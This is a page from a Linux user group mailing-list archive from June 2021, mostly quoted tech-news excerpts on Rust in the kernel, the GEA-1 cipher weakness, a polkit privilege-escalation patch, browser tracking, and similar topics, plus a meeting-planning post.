Google Backs Linux Project To Make Android, Chrome OS Harder To Hack
by Peter Reutemann 18 Jun '21

18 Jun '21

'Google said Thursday it's funding a project to increase Linux security by writing parts of the operating system's core in the Rust programming language, a modernization effort that could bolster the security of the internet and smartphones. From a report: If the project succeeds, it'll be possible to add new elements written in Rust into the heart of Linux, called the kernel. Such a change would mark a major technological and cultural shift for an open-source software project that's become foundational to Google's Android and Chrome operating systems as well as vast swaths of the internet. Miguel Ojeda, who's written software used by the Large Hadron Collider particle accelerator and worked on programming language security, is being contracted to write software in Rust for the Linux kernel. Google is paying for the contract, which is being extended through the Internet Security Research Group, a nonprofit that's also made it easier to secure website communications through the Let's Encrypt effort. Adding Rust modules to the Linux kernel would improve security by closing some avenues for hackers can use to attack phones, computers or servers. Since it was launched in 1991, Linux has been written solely in the powerful but old C programming language. The language was developed in 1972 and is more vulnerable to hacks than contemporary programming languages.' -- source: https://linux.slashdot.org/story/21/06/17/185239 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Report Finds Phone Network Encryption Was Deliberately Weakened
by Peter Reutemann 18 Jun '21

18 Jun '21

'A weakness in the algorithm used to encrypt cellphone data in the 1990s and 2000s allowed hackers to spy on some internet traffic, according to a new research paper. Motherboard: The paper has sent shockwaves through the encryption community because of what it implies: The researchers believe that the mathematical probability of the weakness being introduced on accident is extremely low. Thus, they speculate that a weakness was intentionally put into the algorithm. After the paper was published, the group that designed the algorithm confirmed this was the case. Researchers from several universities in Europe found that the encryption algorithm GEA-1, which was used in cellphones when the industry adopted GPRS standards in 2G networks, was intentionally designed to include a weakness that at least one cryptography expert sees as a backdoor. The researchers said they obtained two encryption algorithms, GEA-1 and GEA-2, which are proprietary and thus not public, "from a source." They then analyzed them and realized they were vulnerable to attacks that allowed for decryption of all traffic. When trying to reverse-engineer the algorithm, the researchers wrote that (to simplify), they tried to design a similar encryption algorithm using a random number generator often used in cryptography and never came close to creating an encryption scheme as weak as the one actually used: "In a million tries we never even got close to such a weak instance," they wrote. "This implies that the weakness in GEA-1 is unlikely to occur by chance, indicating that the security level of 40 bits is due to export regulations." Researchers dubbed the attack "divide-and-conquer," and said it was "rather straightforward." In short, the attack allows someone who can intercept cellphone data traffic to recover the key used to encrypt the data and then decrypt all traffic. The weakness in GEA-1, the oldest algorithm developed in 1998, is that it provides only 40-bit security. That's what allows an attacker to get the key and decrypt all traffic, according to the researchers.' -- source: https://it.slashdot.org/story/21/06/17/206213 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

ZFS fans, rejoice—RAIDz expansion will be a thing very soon
by Peter Reutemann 16 Jun '21

16 Jun '21

'OpenZFS founding developer Matthew Ahrens opened a PR for one of the most sought-after features in ZFS history—RAIDz expansion—last week. The new feature allows a ZFS user to expand the size of a single RAIDz vdev. For example, you can use the new feature to turn a three-disk RAIDz1 into a four, five, or six RAIDz1.' -- source: https://arstechnica.com/gadgets/2021/06/raidz-expansion-code-lands-in-openz… Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

meeting June 28th
by Peter Reutemann 15 Jun '21

15 Jun '21

Hi everyone I'm still looking for a topic for the next WLUG meeting (June 28). After chatting with Lawrence and Ian last night, we were thinking of having a "git" (as in version control) theme: - git basics - Lawrence? - using github (forking, pull requests, etc) - github alternatives How does that sound? Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 1

MySQL 101: Installation, care, and feeding on Ubuntu
by Peter Reutemann 14 Jun '21

14 Jun '21

'One of the tasks nearly any sysadmin frequently encounters is the care and feeding of the MySQL database server. You can build an entire career around nothing but this topic—making you a DB admin, not a humble sysadmin like yours truly—but for today, we're just going to cover the basics. For this guide, we're going to be using Ubuntu Linux as the underlying operating system—but most of these steps and tips will be either the same, or broadly similar, across nearly any OS or distribution you might install MySQL on.' -- source: https://arstechnica.com/gadgets/2021/06/mysql-101-installation-care-and-fee… Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Google Announces Bold New Changes To Chrome OS Release Cycle
by Peter Reutemann 14 Jun '21

14 Jun '21

'In a blog post this morning, Google announced plans to increase its update cadence for Chromebooks. Like Chrome, its operating system will now also follow a four-week Stable channel before moving to the next major milestone release. Android Police reports: Google will deliver fresh features more rapidly to Chromebooks starting with Chrome OS 96 -- all while keeping it stable, secure, and speedy. To adapt to the rigorous update release schedule, Google will skip Chrome OS 95, which will help it bridge the gap between M94 and Chrome's new four-week rollout strategy. Enterprise and education folks can opt enroll in an Extended Stable option for Chromebooks, which will update every 6 months. In light of the new rollout strategy, Google updated its documentation and pushed an update to its release calendar. The company will share plans about the choices Chrome OS administrators will have for milestone updates "in the coming months." ' -- source: https://tech.slashdot.org/story/21/06/11/2012215 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Patch Released for 7-Year-Old Privilege Escalation Bug In Linux Service Polkit
by Peter Reutemann 14 Jun '21

14 Jun '21

'In a blog post on Thursday, GitHub security researcher Kevin Backhouse announced that Polkit, a Linux system service included in several modern Linux distros that provides an organized way for non-privileged processes to communicate with privileged ones, has been harbouring a major security bug for seven years. The bug, assigned (CVE-2021-3560) allows a non-privileged user to gain administrative shell access with a handful of standard command line tools. The bug was fixed on June 3, 2021 in a coordinated disclosure. "It's used by systemd," GitHub's blog post points out, "so any Linux distribution that uses systemd also uses polkit..." "It's very simple and quick to exploit, so it's important that you update your Linux installations as soon as possible. Any system that has polkit version 0.113 (or later) installed is vulnerable. That includes popular distributions such as RHEL 8 and Ubuntu 20.04."' -- source: https://linux.slashdot.org/story/21/06/12/174231 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Linus Torvalds Tells Anti-Vaxxer To Shut Up On Linux Mailing List
by Peter Reutemann 14 Jun '21

14 Jun '21

'Linus Torvalds was "clearly unamused" by a "humanoid conspiracy theory, and also on its discussion in a Linux kernel topic thread," reports Neowin. They add that Torvalds "weighed in quite heavily with some very strong language, mixed with some biology lessons..." Here's an excerpt from Torvalds' response (as shared by Slashdot reader Hmmmmmm): Please keep your insane and technically incorrect anti-vax comments to yourself. You don't know what you are talking about, you don't know what mRNA is, and you're spreading idiotic lies. Maybe you do so unwittingly, because of bad education. Maybe you do so because you've talked to "experts" or watched youtube videos by charlatans that don't know what they are talking about. But dammit, regardless of where you have gotten your mis-information from, any Linux kernel discussion list isn't going to have your idiotic drivel pass uncontested from me. Vaccines have saved the lives of literally tens of millions of people. Just for your edification in case you are actually willing to be educated: mRNA doesn't change your genetic sequence in any way. It is the exact same intermediate - and temporary - kind of material that your cells generate internally all the time as part of your normal cell processes, and all that the mRNA vaccines do is to add a dose their own specialized sequence that then makes your normal cell machinery generate that spike protein so that your body learns how to recognize it. The half-life of mRNA is a few hours. Any injected mRNA will be all gone from your body in a day or two. It doesn't change anything long-term, except for that natural "your body now knows how to recognize and fight off a new foreign protein" (which then tends to fade over time too, but lasts a lot longer than a few days). And yes, while your body learns to fight off that foreign material, you may feel like shit for a while. That's normal, and it's your natural response to your cells spending resources on learning how to deal with the new threat. And of the vaccines, the mRNA ones are the most modern, and the most targeted - exactly because they do *not* need to have any of the other genetic material that you traditionally have in a vaccine (ie no need for basically the whole - if weakened - bacterial or virus genetic material). So the mRNA vaccines actually have *less* of that foreign material in them than traditional vaccines do. And a *lot* less than the very real and actual COVID-19 virus that is spreading in your neighborhood. Honestly, anybody who has told you differently, and who has told you that it changes your genetic material, is simply uneducated. You need to stop believing the anti-vax lies, and you need to start protecting your family and the people around you. Get vaccinated... Get vaccinated. Stop believing the anti-vax lies. And if you insist on believing in the crazy conspiracy theories, at least SHUT THE HELL UP about it on Linux kernel discussion lists. ' -- source: https://science.slashdot.org/story/21/06/12/2210219 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Also Leaving Freenode: FSF, GNU, plus Linux and Python support channels
by Peter Reutemann 14 Jun '21

14 Jun '21

'Freenode's Linux support channel has an official web page at freenode.linux.community, which now bears this announcement: 22+ year old ##linux on freenode has been seized by freenode staff The community's (multi-platform) site reminds visitors of the alternative channels #linux on Libera and Linux.Chat on Discord. But they're not the only ones making changes. "[T]he FSF and GNU have decided to relocate our IRC channels to Libera.Chat," reads an official announcement on the FSF blog. "Effective immediately, Libera is the official home of our channels, which include but are not limited to all those in the #fsf, #gnu, and #libreplanet namespaces." As we have had nearly twenty years of positive experiences with the Freenode staff, most of whom now comprise the staff of the Libera network, we are confident in their technical and interpersonal expertise, as well as their ability to make the network as long-lasting and integral to the free software community as they made Freenode. We look forward to joining the large number of free software and free culture projects who have already made Libera.Chat their home, and hope to stay there for many years to come. Also making a move: freenode's #Python channel. Software developer Ned Batchelder, one of the channel's operators (and also an architect at edX), shared a recent experience in a new blog post this morning. When they'd decided to move #python to the new Libera.chat network (run by former Freenode staffers), they also stayed in Freenode's channel "to let people know where everyone had gone." Yesterday, after a heated debate in the Freenode channel where I was accused of splitting the community, I got k-lined (banned entirely from Freenode). The reason given was "spamming", because of my recurring message about the move to Libera. Then the entire Freenode #python channel was closed... Was it malice or was it mistake? Does it matter? It's not a good way to run a network. After the channel was closed, people asking staff about what happened were banned from asking. That wasn't a mistake... [T]he new staff seems to be using force to silence people asking questions. It's clear that transparency is not a strong value for them. Setting aside network drama, the big picture here is that the Freenode #python community isn't split: it's alive and well. It's just not on Freenode anymore, it's on Libera. Freenode was a good thing. But the domain name of the server was the least important part of it, just a piece of technical trivia. There's no reason to stick with Freenode just because it is called Freenode. As with any way of bringing people together, the important part is the people. If all of the people go someplace else, follow them there, and continue. See you on Libera.' -- source: https://tech.slashdot.org/story/21/06/13/184251 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

The Vivaldi Browser Now Has Mail, Calendar, and An RSS Reader Built-In
by Peter Reutemann 10 Jun '21

10 Jun '21

'The Vivaldi 4.0 release is launching today, and includes a built-in email, calendar, and RSS reader. The Verge reports: The email client supports IMAP and POP accounts, so you can connect the vast majority of email services to it, and you can easily have messages open up in tabs rather than taking over the current window -- handy if you're the type who often needs to bounce between emails. The search is also, in my experience, very quick. The calendar and RSS reader also include most of the features I'd expect, along with a few really cool bonuses. For example, the RSS reader also supports YouTube channels, which could be handy for those who are worried about an algorithm deciding not to show a creator's videos. The other headline feature of this Vivaldi update is built-in translation. The browser will be able to translate entire webpages (automatically, if you want) in 50 languages as of today, but the company says it'll be expanding to support 109 languages soon. While the Mail tools are desktop only, the translation is also available on Vivaldi for Android. Vivaldi has also come up with a solution for those who don't want these features taking up room in their browser: you'll be able to choose between three layouts, which will give you a basic web browser, one with a few power-user features, or the all-in-one experience with email, calendars, and RSS. All the features will still be available, even in the "Essentials" layout, but they won't be taking up space in the interface. ' -- source: https://tech.slashdot.org/story/21/06/09/2153249 Netscape anyone? Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Linux X86/x86_64 Will Now Always Reserve the First 1MB of RAM
by Peter Reutemann 10 Jun '21

10 Jun '21

'Phoronix reports: The Linux x86/x86_64 kernel code already had logic in place for reserving portions of the first 1MB of RAM to avoid the BIOS or kernel potentially clobbering that space among other reasons while now Linux 5.13 is doing away with that 'wankery' and will just unconditionally always reserve the first 1MB of RAM. The Linux kernel was already catering to Intel Sandy Bridge graphics accessing memory below the 1MB mark, the first 64K of memory are known to be corrupted by some BIOSes, and similar problems coming up in that low area of memory. But rather than dealing with all that logic and other possible niche cases besides the EGA/VGA frame-buffer and BIOS, the kernel is playing it safe and just always reserving the first 1MB of RAM so it will not get clobbered by the kernel.' -- source: https://linux.slashdot.org/story/21/06/09/2122210 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Space: (Not) The Final Frontier ...
by Lawrence D'Oliveiro 09 Jun '21

09 Jun '21

You may know that a cryptocurrency like Bitcoin gets its value from a concept known as “proof of work” -- namely that in order to “mine” (create new units of) the currency, you performed a computation with a commonly-accepted minimum complexity (with no known shortcuts). Now there is another kind of cryptocurrency, based on “proof of space”, where the (agreed) value comes from permanently setting aside some amount of storage space. Instead of consuming some increasing percentage of the world’s electricity (and GPU) supply, this one is going to consume some increasing percentage of the world’s hard drive supply. <https://www.theregister.com/2021/06/08/chia_cryptocurrency_creates_euro_hdd…>

1 0

KDE Plasma 5.22 Released
by Peter Reutemann 09 Jun '21

09 Jun '21

'KDE Plasma 5.22 is now available, bringing "hugely improved" Wayland support, better performance for gaming, adaptive panel transparency for the panel and widgets, and more. Phoronix reports: There is now support for variable rate refresh (VRR) / Adaptive-Sync on Wayland, vertical/horizontal maximization now working with KWin Wayland, global menu applet support under Wayland, support for activities, and a lot of other general improvements and fixes so the overall Wayland support is much more polished and nearly at par to the X.Org Server support. The performance for gaming with KDE Plasma on Wayland should also be better with now having direct scan-out support for full-screen windows. Rounding out the graphics fun with this release is also GPU hot-plugging support on Wayland for KWin, such as if using an external GPU or USB display adapter. KDE Plasma 5.22 also delivers on adaptive panel transparency for the panel and widgets, desktop notification improvements, Plasma System Monitor has replaced KSysGuard as the default system monitoring application, and a variety of other improvements. You can view the full changelog for Plasma 5.22 here.' -- source: https://tech.slashdot.org/story/21/06/08/1938202 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

ESA’s Mars Express Orbiter Is 18 Years Old
by Lawrence D'Oliveiro 04 Jun '21

04 Jun '21

<https://www.theregister.com/2021/06/02/mars_express/> In some industries, you really have to take the long view about your computing infrastructure: Wood recently shared a Twitter thread that began, much to the delight of retro-computing fans, with the recovery of data from two IDE drives from a long-dead PC and (spoiler alert) ended with the 25-year-old emulator for the Star Tracker software firing up on a 486-based machine running Windows for Workgroups 3.11 (after more modern Microsoft operating systems rejected it.) ... Alternatively, hardware on Earth could give up the ghost. The mission control systems for Mars Express originally ran on Solaris 8 machines (and some tools ran on Solaris 6.) A migration to Solaris 10 occurred in 2013 although, with a hat-tip to the Unix team working around failing ancient hardware, Wood observed: "We have Solaris 10, running a Solaris 8 zone and that zone is configured in Solaris 6 compatibility mode. (it really is turtles all the way down!)" Virtualization efforts have played their part in reducing the reliance on hard-to-obtain components. Should ESA keep the funding tap turned on and extend the mission past the end of 2022, an upgrade to Solaris 11 servers is also on the cards (a joint activity with other ESA missions XMM and Integral) that should last until the end of Mars Express.

2 2

Google Releases Dependency-Mapping Tool
by Lawrence D'Oliveiro 04 Jun '21

04 Jun '21

Report <https://www.theregister.com/2021/06/04/google_open_source_insights/> on a new service from Google where it examines millions of online source-code project repositories, and maps out their dependencies, letting you see information like licensing and security vulnerabilities. Because a vulnerability in a package you depend on could become a vulnerability in your code.

1 0

How Facebook Architects Around Silent Data Corruption
by Lawrence D'Oliveiro 04 Jun '21

04 Jun '21

Seems like Facebook’s computation facilities have become so massive that it is starting to see intermittent errors in places you wouldn’t expect <https://www.nextplatform.com/2021/03/01/facebook-architects-around-silent-d…>: Engineers found that many of the cascading errors are the result of CPUs in production but not always due to the “soft errors” of radiation or synthetic fault injection. Rather, they find these can happen randomly on CPUs in repeatable ways. Although ECC is useful, this is focused on problems in SRAM but other elements are susceptible. The Facebook engineering team that reported on these problems finds that CPU silent data corruptions are actually orders of magnitude higher than soft-errors due to a lack of error correction in other blocks. The article mentions examples like a computation of 2×3 sometimes returning an answer other than 6, or a file size intermittently (and incorrectly) being computed as zero, leading to the file data not being copied. Such occurrences may be extremely rare, but when you are doing things on the scale that Facebook does, they start to become all too common. Facebook has published a paper (linked in the report) on their research into the problem. They have worked out some techniques to try to mitigate these issues, but of course they come at a cost.

1 1

The Collective Code Construction Contract
by Lawrence D'Oliveiro 04 Jun '21

04 Jun '21

Came across this interesting document <https://rfc.zeromq.org/spec/42/> referenced from another project I was browsing. It is a set of guidelines for how Free Software projects should be managed. Some choice extracts: The project SHALL use the git distributed revision control system. The project SHALL use a share-alike license such as the MPLv2, or a GPLv3 variant thereof (GPL, LGPL, AGPL). All contributions to the project source code (“patches”) SHALL use the same license as the project. All patches are owned by their authors. There SHALL NOT be any copyright assignment process. Some specifics of how to use, and not to use, Git: The project SHALL have one branch (“master”) that always holds the latest in-progress version and SHOULD always build. The project SHALL NOT use topic branches for any reason. Personal forks MAY use topic branches. To make a stable release a Maintainer shall tag the repository. Stable releases SHALL always be released from the repository master. Actually that last one seems a bit questionable. For example, Blender does not structure its repos that way. Each stable release has its own branch, which may continue to accumulate bug fixes for as long as it is under support, while main development of the next version continues on the master branch. Plus there guidelines for handling people-management issues, of course: Administrators SHOULD block or ban “bad actors” who cause stress and pain to others in the project. This should be done after public discussion, with a chance for all parties to speak. A bad actor is someone who repeatedly ignores the rules and culture of the project, who is needlessly argumentative or hostile, or who is offensive, and who is unable to self-correct their behavior when asked to do so by others.

1 0

Google is Making it Harder for Android Apps To Track You Once You've Opted Out
by Peter Reutemann 04 Jun '21

04 Jun '21

'It's going to get harder for Android apps to track users who've opted out of receiving personalized ads, the Financial Times reports, after Google announced changes to how it'll handle the unique device identifiers that allow marketers to track them between apps. From a report: Starting later this year, Google is cutting off access to these "Advertising IDs" after a user opts out, and will show developers a "string of zeros" in its place. The news was announced in an email to Play Store developers, and Google has also updated its support page for Advertising IDs with the announcement. Google told developers the changes will "provide users with more control over their data, and help bolster security and privacy," the Financial Times reports. The change comes a few short months after Apple overhauled how advertising IDs work on iOS in an apparent attempt to compete with the new policy. ' -- source: https://yro.slashdot.org/story/21/06/03/140255 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Microsoft’s Package Manager Quality Issue
by Lawrence D'Oliveiro 03 Jun '21

03 Jun '21

Microsoft has officially launched “Winget”, aka the Windows Package Manager <https://www.theregister.com/2021/06/02/microsoft_introduces_moderation_for_…>. Unfortunately, it’s run into a bit of a snag: anybody can submit packages to be included in the repo willy-nilly, leading to problems like duplicates, bad links and other misbehaviour. “What is wrong with this picture?” as they say: Look at any of the common Linux distros, and you will see that every package has an official maintainer who will take responsibility for its quality, handling of bug reports, updating from upstream and so on. Nobody can simply submit a package to be included and then forget about it. There is a proper QA system.

1 0

No More CLA For GCC
by Lawrence D'Oliveiro 03 Jun '21

03 Jun '21

The Free Software Foundation has long been one of those outfits that has refused to accept (significant) source contributions without the author signing a “Contributor Licence Agreement”. It’s not enough to release the code under the same licence as the project, you must also hand over the entire copyright to them. This is supposedly because they have received legal advice that it makes it easier to defend against copyright infringements if they own all the code. Quite a few other projects don’t agree <https://lwn.net/Articles/592503/>. For example, the Linux kernel project does not demand CLAs, only a “Certificate of Origin” (affirming that you have the right to contribute the code). And now the GNU Compiler Collection is joining them. <https://www.theregister.com/2021/06/02/gcc_fsf_code_copyright/>

2 2

Alibaba's Huge Browser Business Is Harvesting The 'Private' Web Activity Of Millions Of Android And iPhone Users
by Peter Reutemann 03 Jun '21

03 Jun '21

'Security researcher Gabi Cirlig's findings, verified for Forbes by two other independent researchers, reveal that on both Android and iOS versions of UC Browser, every website a user visits, regardless of whether they're in incognito mode or not, is sent to servers owned by UCWeb. From a report: Cirlig said IP addresses -- which could be used to get a user's rough location down to the town or neighborhood of the user -- were also being sent to Alibaba-controlled servers. Those servers were registered in China and carried the .cn Chinese domain name extension, but were hosted in the U.S. An ID number is also assigned to each user, meaning their activity across different websites could effectively be monitored by the Chinese company, though it's not currently clear just what Alibaba and its subsidiary are doing with the data. "This could easily fingerprint users and tie them back to their real personas," Cirlig wrote in a blog post handed to Forbes ahead of publication on Tuesday. Cirlig was able to uncover the problem by reverse engineering some encrypted data he spotted being sent back to Beijing. Once the key had been cracked, he was able to see that every time he visited a website, it was being encrypted and transmitted back to the Alibaba company. On Apple's iOS, he didn't even need to reverse engineer the encryption because there effectively was none on the device (though it was encrypted when in transit). "This kind of tracking is done on purpose without any regard for user privacy," Cirlig told Forbes. When compared to Google's own Chrome browser, for instance, it does not transfer user web browsing habits when in incognito. Cirlig said he'd looked at other major browsers and found none did the same as UC Browser. ' -- source: https://yro.slashdot.org/story/21/06/02/185213 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Google Chrome's Top Web App Advocate Resigns
by Peter Reutemann 03 Jun '21

03 Jun '21

'Google is losing one of its strongest champions of the web. Alex Russell, who has led the Fugu project to make web apps as powerful as those running on Google's Android or Apple's iOS software, is leaving the company on Wednesday. From a report: Russell announced his departure on Twitter. He's not quitting in anger or being pushed out. But after 12 years at Google pushing his vision for a more powerful web, "I need some time off," he said in an interview. Russell has been an outspoken advocate for the web, using Chrome's dominant position to help test and introduce new abilities that let programmers build interactive apps on the web, not just relatively static websites. Project Fugu embodies this effort, as does the broader progressive web app, or PWA, movement that lets you install and launch web apps more like those that run natively on smartphones and PCs.' -- source: https://tech.slashdot.org/story/21/06/02/1931236 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Huawei's HarmonyOS Arrives With iPad-Inspired Tablet UI, Apparent Android Base
by Peter Reutemann 03 Jun '21

03 Jun '21

'Two years into its ban from the US Government and, in turn, access to the Play Store on its Android-powered devices, Huawei is unveiling HarmonyOS. The platform is an alternative to Android that powers TVs, smartphones, tablets, and smartwatches. 9to5Google reports: Announced at an event today, Huawei is positioning HarmonyOS as an operating system that can handle just about everything, from the smartphone in your pocket to IoT devices such as "power sockets and lamps." The company says the goal of the platform is to have one set of code that can be used across virtually any device, saying that it is not aware of "any other operating system in the world" that can cover such a wide range of devices. Leaning into this ability, Huawei developed a "Control Panel," which gives users the ability to connect multiple devices together, with the example of using the "music widget" to throw audio playback to nearby speakers or TVs. A "Super Device" widget shows icons for other nearby devices and enables a quick and easy pairing mode. On smartphones, the HarmonyOS homescreen can use a swipe-up gesture on apps developed for the platform to see a widget pulling information from that app. Those widgets, apparently, can also be used across devices because of the shared codebase Huawei says HarmonyOS offers. The homescreen can also intelligently add apps to a folder based on the category. Interestingly, Huawei says HarmonyOS devices will also be able to move running apps from one device to another, which is really neat and unique. Moving apps between devices apparently also works between watches and TVs, with a workout app being used on both simultaneously given as an example. A video calling app was also shown moving between devices. Huawei says that performance of HarmonyOS is "superior" to Android with EMUI, specifically calling out long-term use. While there are certainly new elements in HarmonyOS, it appears to be a "fork" of Android. The Verge spent time with the HarmonyOS-powered MatePad Pro and described the act of installing Android APKs as "though I was using an Android device." Visually, there are also a tremendous number of similarities between HarmonyOS and Android, though there are some distinct elements of Apple's iPad OS in the platform's tablet-optimized homescreen, seen below as Evan Blass posted to Twitter. Android Authority further described HarmonyOS as "ultimately a spin on Android 10" with a "slight rebrand." TechRadar said the software was "clearly" based on Android. These findings from the media appear to back up a previous report from ArsTechnica, which showed the developer preview as basically a clone of EMUI-skinned Android. ' -- source: https://tech.slashdot.org/story/21/06/02/2114259 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

China Cracking Down On Cryptomining
by Lawrence D'Oliveiro 02 Jun '21

02 Jun '21

This article <https://www.aljazeera.com/economy/2021/5/24/china-crackdown-forces-crypto-m…> reports on how many large cryptomining operators are moving out of China in the wake of the Government’s actions against them. But the main reason I’m posting this link is because of that picture. That’s what it looks like inside a cryptomining farm. Look at those power cables, like ships’ hawsers. It’s even more impressive at full resolution.

1 1

Multinational Meat Producer JBS Hit By Ransomware Attack
by Lawrence D'Oliveiro 02 Jun '21

02 Jun '21

The world’s largest meat-producing company, Brazil-based JBS SA, has been hit by a ransomware attack that has forced the closure of its US installations <https://www.aljazeera.com/economy/2021/6/1/slaughterhouse-closures-spread-a…>. That means 20% of beef supply in the US has been cut. There are also reports of outages in its Australian and Canadian operations, so there is very likely more bad news to come. On the bright side, the company says its backup servers are fine, and it is in the process of restoring from them.

1 0

The State Of NZ Online Media
by Lawrence D'Oliveiro 02 Jun '21

02 Jun '21

Just saw this report <https://www.nzherald.co.nz/business/mediaworks-sale-revealed-how-much-disco…> that Discovery paid about $20 million for MediaWorks (TV channels Three, Bravo, Edge, Breeze and their “+1” repeaters, streaming service ThreeNow and Newshub). Contrast this against the $700-million valuation of MediaWorks back in 2007. There was an assumption it would be worth much less; “Much of this was ostensibly driven by the $1 sale of the Stuff news business”. Speaking of Stuff, seems Fairfax didn’t do well after acquiring it <https://www.nzherald.co.nz/business/stuff-the-laggard-among-fairfax-busines…>. I remember the head of the NZ Open-Source Society saying in a radio interview that it actually used to be a profitable business, but after the acquisition, Fairfax ripped out the open-source software it was built on and replaced it with some proprietary and expensive Adobe platform.

1 0

Quic Gives the Internet's Data Transmission Foundation a Needed Speedup
by Peter Reutemann 01 Jun '21

01 Jun '21

'One of the internet's foundations just got an upgrade. From a report: Quic, a protocol for transmitting data between computers, improves speed and security on the internet and can replace Transmission Control Protocol, or TCP, a standard that dates back to Ye Olde Internet of 1974. Last week, the Internet Engineering Task Force, which sets many standards for the global network, published Quic as a standard. Web browsers and online services have been testing the technology for years, but the IETF's imprimatur is a sign the standard is mature enough to embrace fully. It's extremely hard to improve the internet at the fundamental level of data transmission. Countless devices, programs and services are built to use the earlier infrastructure, which has lasted decades. Quic has been in public development for nearly eight years since Google first announced Quic in 2013 as an experimental addition to its Chrome browser. But upgrades to the internet's foundations are crucial to keep the world-spanning communication and commerce backbone humming. That's why engineers spend so much effort on titanic transitions like Quic, HTTPS for secure website communications, post-quantum cryptography to protect data from future quantum computers, and IPv6 for accommodating vastly more devices on the internet.' -- source: https://tech.slashdot.org/story/21/05/31/168221 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Amazon Devices Will Soon Automatically Share Your Internet With Neighbors
by Peter Reutemann 01 Jun '21

01 Jun '21

'If you use Alexa, Echo, or any other Amazon device, you have just over a week to opt out of an experiment that leaves your personal privacy and security hanging in the balance. From a report: On June 8, the merchant, Web host, and entertainment behemoth will automatically enroll the devices in Amazon Sidewalk. The new wireless mesh service will share a small slice of your Internet bandwidth with nearby neighbors who don't have connectivity and help you to their bandwidth when you don't have a connection. By default, Amazon devices including Alexa, Echo, Ring, security cams, outdoor lights, motion sensors, and Tile trackers will enroll in the system. And since only a tiny fraction of people take the time to change default settings, that means millions of people will be co-opted into the program whether they know anything about it or not. The Amazon webpage linked above says Sidewalk "is currently only available in the US." [...] Amazon has published a white paper detailing the technical underpinnings and service terms that it says will protect the privacy and security of this bold undertaking. To be fair, the paper is fairly comprehensive, and so far no one has pointed out specific flaws that undermine the encryption or other safeguards being put in place. But there are enough theoretical risks to give users pause.' -- source: https://yro.slashdot.org/story/21/05/31/2024259 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Remote Desktop with Linux: 5 Apps Which You Can Use
by Peter Reutemann 01 Jun '21

01 Jun '21

'With more people working from home than ever before, having the right remote desktop access software has become very important. Maybe you’re helping a family member or colleague with an IT issue, or perhaps you’re working from home. Accessing any system remotely is the need of the day. Generally, a remote desktop connection is defined as any software allowing you to remotely access a device from a geographical distance. In addition to desktop sharing, many tools can now conduct file transfers and offer highly secure remote access. The main purpose of this article is to help Linux users to find out the remote desktop app for usage with the Linux distro which they are using.' -- source: https://linuxiac.com/remote-desktop-with-linux/ NB: Not all are open-source software. But Apache Guacamole looks promising - anyone used it? Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

The Quest For Faster Python
by Lawrence D'Oliveiro 31 May '21

31 May '21

